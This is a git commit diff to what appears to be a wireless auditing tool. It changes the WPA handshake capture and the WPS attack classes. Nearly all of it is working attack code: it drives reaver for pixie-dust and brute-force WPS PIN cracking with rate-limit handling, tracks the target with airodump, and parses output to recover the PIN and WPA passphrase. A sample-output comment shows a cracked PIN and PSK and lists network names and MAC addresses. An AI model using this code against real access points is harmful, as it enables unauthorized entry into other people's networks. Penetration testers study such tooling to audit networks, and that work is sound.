Output target info during WPS attacks.

Also using reaver's --no-nacks option
This commit is contained in:
derv82
2017-05-14 15:27:19 -04:00
parent 2726381017
commit 890915b9b3
2 changed files with 238 additions and 212 deletions

View File

@@ -34,13 +34,10 @@ class AttackWPA(Attack):
# First, start Airodump process # First, start Airodump process
with Airodump(channel=self.target.channel, with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid, target_bssid=self.target.bssid,
skip_wash=True,
output_file_prefix='wpa') as airodump: output_file_prefix='wpa') as airodump:
Color.clear_line() Color.clear_line()
Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...") Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...")
#Color.p('\r{+} {C}WPA-handshake attack{W}: ')
#Color.p('{O}waiting{W} for target to appear...')
airodump_target = self.wait_for_target(airodump) airodump_target = self.wait_for_target(airodump)
# Get client station MAC addresses # Get client station MAC addresses

View File

@@ -2,6 +2,7 @@
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from Attack import Attack from Attack import Attack
from Airodump import Airodump
from Color import Color from Color import Color
from Configuration import Configuration from Configuration import Configuration
from CrackResultWPS import CrackResultWPS from CrackResultWPS import CrackResultWPS
@@ -58,113 +59,127 @@ class AttackWPS(Attack):
command = [ command = [
'reaver', 'reaver',
'-i', Configuration.interface, '--interface', Configuration.interface,
'-b', self.target.bssid, '--bssid', self.target.bssid,
'-c', self.target.channel, '--channel', self.target.channel,
'-K', '1', # pixie-dust attack '--pixie-dust', '1', # pixie-dust attack
'--delay', '0',
'--no-nacks',
'--session', '/dev/null', # Don't restart session '--session', '/dev/null', # Don't restart session
'-vv' # (very) verbose '-vv' # (very) verbose
] ]
stdout_write = open(self.stdout_file, 'a') stdout_write = open(self.stdout_file, 'a')
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
pin = None pin = None
step = '0) initializing' step = '0) initializing'
time_since_last_step = 0 time_since_last_step = 0
while True: with Airodump(channel=self.target.channel,
time.sleep(1) target_bssid=self.target.bssid,
skip_wash=False,
output_file_prefix='pixie') as airodump:
Color.clear_line() Color.clear_line()
Color.p('\r{+} {C}WPS pixie-dust attack{W} ') Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
stdout_write.flush() while True:
try:
# Check output from reaver process airodump_target = self.wait_for_target(airodump)
stdout = self.get_stdout() except Exception as e:
stdout_last_line = stdout.split('\n')[-1] Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
Color.pl("")
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if (pin and psk and ssid) or reaver.poll() != None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin and psk and ssid:
# We cracked it.
bssid = self.target.bssid
Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
return True
else:
# Failed to crack, reaver proces ended.
Color.pl('{R}failed: {O}WPS pin not found{W}')
return False return False
last_step = step stdout_write.flush()
# Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line: # Check output from reaver process
step = '({C}step 1/8{W}) waiting for beacon' stdout = self.get_stdout()
elif 'Associated with' in stdout_last_line: stdout_last_line = stdout.split('\n')[-1]
step = '({C}step 2/8{W}) waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line: (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
step = '({C}step 3/8{W}) waiting to try pin'
elif 'Trying pin' in stdout_last_line: # Check if we cracked it, or if process stopped.
step = '({C}step 4/8{W}) trying pin' if (pin and psk and ssid) or reaver.poll() != None:
elif 'Sending EAPOL START request' in stdout_last_line: reaver.interrupt()
step = '({C}step 5/8{W}) sending eapol start request'
elif 'Sending identity response' in stdout_last_line: # Check one-last-time for PIN/PSK/SSID, in case of race condition.
step = '({C}step 6/8{W}) sending identity response' stdout = self.get_stdout()
elif 'Sending M2 message' in stdout_last_line: (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line: # Check if we cracked it.
if Configuration.wps_skip_rate_limit: if pin and psk and ssid:
Color.pl('{R}failed: {O}hit WPS rate-limit{W}') # We cracked it.
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + bssid = self.target.bssid
' this kind of failure in the future{W}') Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
return True
else:
# Failed to crack, reaver proces ended.
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
return False
if 'WPS pin not found' in stdout:
Color.pl('{R}failed: {O}WPS pin not found{W}')
break break
step = '({C}step -/8{W}) waiting for AP rate limit'
if 'WPS pin not found' in stdout: last_step = step
Color.pl('{R}failed: {O}WPS pin not found{W}') # Status updates, depending on last line of stdout
break if 'Waiting for beacon from' in stdout_last_line:
step = '({C}step 1/8{W}) waiting for beacon'
elif 'Associated with' in stdout_last_line:
step = '({C}step 2/8{W}) waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '({C}step 3/8{W}) waiting to try pin'
elif 'Trying pin' in stdout_last_line:
step = '({C}step 4/8{W}) trying pin'
elif 'Sending EAPOL START request' in stdout_last_line:
step = '({C}step 5/8{W}) sending eapol start request'
elif 'Sending identity response' in stdout_last_line:
step = '({C}step 6/8{W}) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line:
if Configuration.wps_skip_rate_limit:
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break
step = '({C}step -/8{W}) waiting for AP rate limit'
if step != last_step: if step != last_step:
# Step changed, reset step timer # Step changed, reset step timer
time_since_last_step = 0 time_since_last_step = 0
else: else:
time_since_last_step += 1 time_since_last_step += 1
if time_since_last_step > Configuration.wps_pixie_step_timeout: if time_since_last_step > Configuration.wps_pixie_step_timeout:
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
break break
# TODO: Timeout check # TODO: Timeout check
if reaver.running_time() > Configuration.wps_pixie_timeout: if reaver.running_time() > Configuration.wps_pixie_timeout:
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
break break
# Reaver Failure/Timeout check # Reaver Failure/Timeout check
fail_count = stdout.count('WPS transaction failed') fail_count = stdout.count('WPS transaction failed')
if fail_count > Configuration.wps_fail_threshold: if fail_count > Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
break break
timeout_count = stdout.count('Receive timeout occurred') timeout_count = stdout.count('Receive timeout occurred')
if timeout_count > Configuration.wps_timeout_threshold: if timeout_count > Configuration.wps_timeout_threshold:
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
break break
# Display status of Pixie-Dust attack Color.clear_line()
Color.p('{W}%s{W}' % step) Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
continue time.sleep(1)
continue
# Attack failed, already printed reason why # Attack failed, already printed reason why
reaver.interrupt() reaver.interrupt()
@@ -182,9 +197,9 @@ class AttackWPS(Attack):
# Start reaver process # Start reaver process
command = [ command = [
'reaver', 'reaver',
'-i', Configuration.interface, '--interface', Configuration.interface,
'-b', self.target.bssid, '--bssid', self.target.bssid,
'-c', self.target.channel, '--channel', self.target.channel,
'--session', '/dev/null', # Don't restart session '--session', '/dev/null', # Don't restart session
'-vv' # verbose '-vv' # verbose
] ]
@@ -197,141 +212,155 @@ class AttackWPS(Attack):
failures = 0 failures = 0
state = 'initializing' state = 'initializing'
while True: with Airodump(channel=self.target.channel,
time.sleep(1) target_bssid=self.target.bssid,
percent = 100 * float(pin_current) / float(pin_total) skip_wash=False,
output_file_prefix='wps') as airodump:
Color.clear_line() Color.clear_line()
Color.p('\r{+} {C}WPS PIN attack{W} (') Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...")
Color.p('{G}%.2f%% done{W}, ' % percent)
Color.p('{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total))
Color.p('{R}%d/%d failures{W}) ' % (failures, \
Configuration.wps_fail_threshold))
if failures >= Configuration.wps_fail_threshold: while True:
Color.pl('{R}failed: {O}too many failures{W}') try:
break airodump_target = self.wait_for_target(airodump)
except Exception as e:
Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e)
Color.pl("")
return False
time.sleep(1)
percent = 100 * float(pin_current) / float(pin_total)
Color.clear_line()
status = '{G}%.2f%% done{W}, ' % percent
status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)
status += '{R}%d/%d failures{W}) ' % (failures, Configuration.wps_fail_threshold)
Color.pattack("WPS", airodump_target, "PIN Attack", status)
# Get output if failures >= Configuration.wps_fail_threshold:
out = self.get_stdout() Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}')
Color.pl("")
# Clear output file
f = open(self.stdout_file, 'w')
f.write('')
f.close()
# CHECK FOR CRACK
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out)
if pin and psk and ssid:
# We cracked it.
self.success = True
Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
self.crack_result.dump()
break
# PIN PROGRESS
# Reaver 1.5.*
match = None
for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
# Look at last entry for "Pin count advanced" to get latest pin count
pass
if match:
# Reset failures on successful try
failures = 0
groups = match.groups()
pin_current = int(groups[0])
pin_total = int(groups[1])
# Reaver 1.3, 1.4
match = None
for match in re.finditer('Trying pin (\d+)', out):
if match:
pin = int(match.groups()[0])
if pin not in pins:
# Reset failures on successful try
failures = 0
pins.add(pin)
pin_current += 1
# Failures
if 'WPS transaction failed' in out:
failures += out.count('WPS transaction failed')
elif 'Receive timeout occurred' in out:
# Reaver 1.4
failures += out.count('Receive timeout occurred')
# Status
if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}'
if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
# Reaver 1.4
if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'
if 'Detected AP rate limiting' in out:
state = '{R}rate-limited{W}'
if Configuration.wps_skip_rate_limit:
Color.pl(state)
Color.pl('{!} {R}hit rate limit, stopping{W}\n')
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break break
if 'WARNING: Failed to associate with' in out: # Get output
# TODO: Fail after X association failures (instead of just one) out = self.get_stdout()
Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}')
break
match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) # Clear output file
if match: f = open(self.stdout_file, 'w')
eta = match.groups()[0] f.write('')
state = '{C}cracking, ETA: {G}%s{W}' % eta f.close()
match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) # CHECK FOR CRACK
if match:
eta = match.groups()[0]
state = '{C}cracking, ETA: {G}%s{W}' % eta
pins_left = int(match.groups()[1])
# Divine pin_current & pin_total from this: (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out)
pin_current = 11000 - pins_left if pin and psk and ssid:
# We cracked it.
self.success = True
Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
self.crack_result.dump()
break
# Check if process is still running
if reaver.pid.poll() != None:
Color.pl('{R}failed{W}')
Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
self.success = False
break
# Output the current state # PIN PROGRESS
Color.p(state)
''' # Reaver 1.5.*
[+] Waiting for beacon from AA:BB:CC:DD:EE:FF match = None
[+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>) for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 # Look at last entry for "Pin count advanced" to get latest pin count
[+] Trying pin 12345670. pass
[+] Pin count advanced: 46. Max pin attempts: 11000 if match:
[!] WPS transaction failed (code: 0x02), re-trying last pin # Reset failures on successful try
[!] WPS transaction failed (code: 0x03), re-trying last pin failures = 0
[!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) groups = match.groups()
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking pin_current = int(groups[0])
[!] WARNING: 25 successive start failures pin_total = int(groups[1])
[!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
[+] 0.55% complete. Elapsed time: 0d0h2m21s.
[+] Estimated Remaining time: 0d15h11m35s
[+] Pin cracked in 7 seconds # Reaver 1.3, 1.4
[+] WPS PIN: '12345678' match = None
[+] WPA PSK: 'abcdefgh' for match in re.finditer('Trying pin (\d+)', out):
[+] AP SSID: 'Test Router' if match:
pin = int(match.groups()[0])
if pin not in pins:
# Reset failures on successful try
failures = 0
pins.add(pin)
pin_current += 1
Reaver 1.4: # Failures
[+] Max time remaining at this rate: 18:19:36 (10996 pins left to try) if 'WPS transaction failed' in out:
[!] WARNING: Receive timeout occurred failures += out.count('WPS transaction failed')
elif 'Receive timeout occurred' in out:
# Reaver 1.4
failures += out.count('Receive timeout occurred')
''' # Status
if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}'
if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
# Reaver 1.4
if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'
if 'Detected AP rate limiting' in out:
state = '{R}rate-limited{W}'
if Configuration.wps_skip_rate_limit:
Color.pl(state)
Color.pl('{!} {R}hit rate limit, stopping{W}\n')
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break
if 'WARNING: Failed to associate with' in out:
# TODO: Fail after X association failures (instead of just one)
Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}')
break
match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out)
if match:
eta = match.groups()[0]
state = '{C}cracking, ETA: {G}%s{W}' % eta
match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out)
if match:
eta = match.groups()[0]
state = '{C}cracking, ETA: {G}%s{W}' % eta
pins_left = int(match.groups()[1])
# Divine pin_current & pin_total from this:
pin_current = 11000 - pins_left
# Check if process is still running
if reaver.pid.poll() != None:
Color.pl('{R}failed{W}')
Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
self.success = False
break
# Output the current state
Color.p(state)
'''
[+] Waiting for beacon from AA:BB:CC:DD:EE:FF
[+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Pin count advanced: 46. Max pin attempts: 11000
[!] WPS transaction failed (code: 0x02), re-trying last pin
[!] WPS transaction failed (code: 0x03), re-trying last pin
[!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: 25 successive start failures
[!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
[+] 0.55% complete. Elapsed time: 0d0h2m21s.
[+] Estimated Remaining time: 0d15h11m35s
[+] Pin cracked in 7 seconds
[+] WPS PIN: '12345678'
[+] WPA PSK: 'abcdefgh'
[+] AP SSID: 'Test Router'
Reaver 1.4:
[+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
[!] WARNING: Receive timeout occurred
'''
reaver.interrupt() reaver.interrupt()